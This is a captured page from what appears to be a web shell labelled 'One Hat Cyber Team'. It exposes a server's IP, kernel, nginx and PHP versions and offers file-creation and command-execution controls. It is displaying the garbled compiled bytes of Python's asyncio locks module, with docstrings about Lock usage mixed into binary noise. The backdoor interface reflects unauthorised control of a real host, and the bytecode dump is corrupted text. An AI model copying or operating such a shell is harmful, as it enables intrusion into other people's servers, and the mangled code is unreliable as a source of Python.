⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.30
Server IP:
45.79.8.107
Server:
Linux localhost 5.15.0-140-generic #150-Ubuntu SMP Sat Apr 12 06:00:09 UTC 2025 x86_64
Server Software:
nginx/1.18.0
PHP Version:
8.1.2-1ubuntu2.21
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
lib
/
python3.10
/
asyncio
/
__pycache__
/
View File Name :
locks.cpython-310.pyc
o }5h*7 @ s d Z dZddlZddlmZ ddlmZ ddlmZ G dd d ZG d d deejZ G dd d ejZ G dd deejZG dd deejZG dd deZ dS )zSynchronization primitives.)LockEvent Condition SemaphoreBoundedSemaphore N ) exceptions)mixins)tasksc @ s e Zd Zdd Zdd ZdS )_ContextManagerMixinc s | I d H d S N)acquireself r $/usr/lib/python3.10/asyncio/locks.py __aenter__ s z_ContextManagerMixin.__aenter__c s | d S r )release)r exc_typeexctbr r r __aexit__ s z_ContextManagerMixin.__aexit__N)__name__ __module____qualname__r r r r r r r s r c T e Zd ZdZejd fdd Z fddZdd Zd d Z dd Z d d Z ZS )r a Primitive lock objects. A primitive lock is a synchronization primitive that is not owned by a particular coroutine when locked. A primitive lock is in one of two states, 'locked' or 'unlocked'. It is created in the unlocked state. It has two basic methods, acquire() and release(). When the state is unlocked, acquire() changes the state to locked and returns immediately. When the state is locked, acquire() blocks until a call to release() in another coroutine changes it to unlocked, then the acquire() call resets it to locked and returns. The release() method should only be called in the locked state; it changes the state to unlocked and returns immediately. If an attempt is made to release an unlocked lock, a RuntimeError will be raised. When more than one coroutine is blocked in acquire() waiting for the state to turn to unlocked, only one coroutine proceeds when a release() call resets the state to unlocked; first coroutine which is blocked in acquire() is being processed. acquire() is a coroutine and should be called with 'await'. Locks also support the asynchronous context management protocol. 'async with lock' statement should be used. Usage: lock = Lock() ... await lock.acquire() try: ... finally: lock.release() Context manager usage: lock = Lock() ... async with lock: ... Lock objects can be tested for locking state: if not lock.locked(): await lock.acquire() else: # lock is acquired ... loopc s t j|d d | _d| _d S Nr F)super__init___waiters_lockedr r __class__r r r M s z Lock.__init__c L t }| jr dnd}| jr| dt| j }d|dd d| dS Nlockedunlocked , waiters: